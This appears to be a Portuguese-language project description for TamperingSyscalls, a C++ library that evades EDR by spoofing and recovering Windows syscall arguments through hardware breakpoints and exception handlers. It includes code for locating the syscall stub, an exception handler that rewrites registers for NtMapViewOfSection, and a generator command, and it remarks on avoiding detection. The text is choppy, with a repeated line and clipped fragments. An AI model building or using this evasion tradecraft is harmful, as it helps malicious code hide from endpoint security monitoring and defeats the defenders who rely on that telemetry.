
Biblioteca C++ que recupera e falsifica argumentos de syscall do Windows usando breakpoints de hardware e manipuladores de exceção para subverter a telemetria do EDR.
TamperingSyscalls é um projeto inovador em 2 partes que consiste em spoofing de argumentos e recuperação de syscalls, ambos abusando de EH para subverter EDRs. Este projeto consiste em ambos os projetos para fornecer uma solução alternativa às syscalls diretas.
Adulterando syscalls.
SetUnhandledExceptionFilter( OneShotHardwareBreakpointHandler );
0f05 no registrador Dr0.
Podemos localizar o endereço do stub de syscall com esta rápida busca de bytes na memória.BYTE stub[] = { 0x0F, 0x05 };
for( unsigned int i = 0; i < (unsigned int)25; i++ )
{
if( memcmp( (LPVOID)((DWORD_PTR)function + i), stub, 2 ) == 0 ) {
return (LPVOID)((DWORD_PTR)function + i);
}
}
if( ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_SINGLE_STEP )
if( ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_SINGLE_STEP )
{
if( ExceptionInfo->ContextRecord->Dr7 & 1 ) {
if( ExceptionInfo->ContextRecord->Rip == ExceptionInfo->ContextRecord->Dr0 ) {
ExceptionInfo->ContextRecord->Dr0 = 0;
mov r10, rcx, pois o registrador RCX é destruído nas próximas instruções.case NTMAPVIEWOFSECTION_ENUM:
ExceptionInfo->ContextRecord->R10 =
(DWORD_PTR)((NtMapViewOfSectionArgs*)(StateArray[EnumState].arguments))->SectionHandle;
ExceptionInfo->ContextRecord->Rdx =
(DWORD_PTR)((NtMapViewOfSectionArgs*)(StateArray[EnumState].arguments))->ProcessHandle;
ExceptionInfo->ContextRecord->R8 =
(DWORD_PTR)((NtMapViewOfSectionArgs*)(StateArray[EnumState].arguments))->BaseAddress;
ExceptionInfo->ContextRecord->R9 =
(DWORD_PTR)((NtMapViewOfSectionArgs*)(StateArray[EnumState].arguments))->ZeroBits;
Podemos ver neste exemplo que estamos corrigindo os argumentos para NtMapViewOfSection.
Se você quiser começar a falsificar a telemetria do EDR, é possível modificar as definições p[FunctionName] onde elas estão atualmente definidas como NULL.
Para gerar as funções necessárias, use gen.py. Ele suporta:
python gen.py NtOpenSection,NtMapViewOfSection,NtUnmapViewOfSection
Ele produzirá 3 arquivos: TamperingSyscalls.cpp, TamperingSyscalls.h e main.cpp. Você pode #include "TamperingSyscalls.h" em seu projeto. Podemos chamar as funções acrescentando o nome da função a p, por exemplo pNtOpenSection(...);
Não podemos definir um breakpoint em NtSetThreadContext ou em suas variantes, pois ele é usado para definir os registradores de depuração. Há um breve período em que os registradores de depuração são definidos, mas é muito pequeno e não acredito que seremos detectados por manter um Dr0 aberto.
Publiquei um pequeno post no blog, abordando essas técnicas.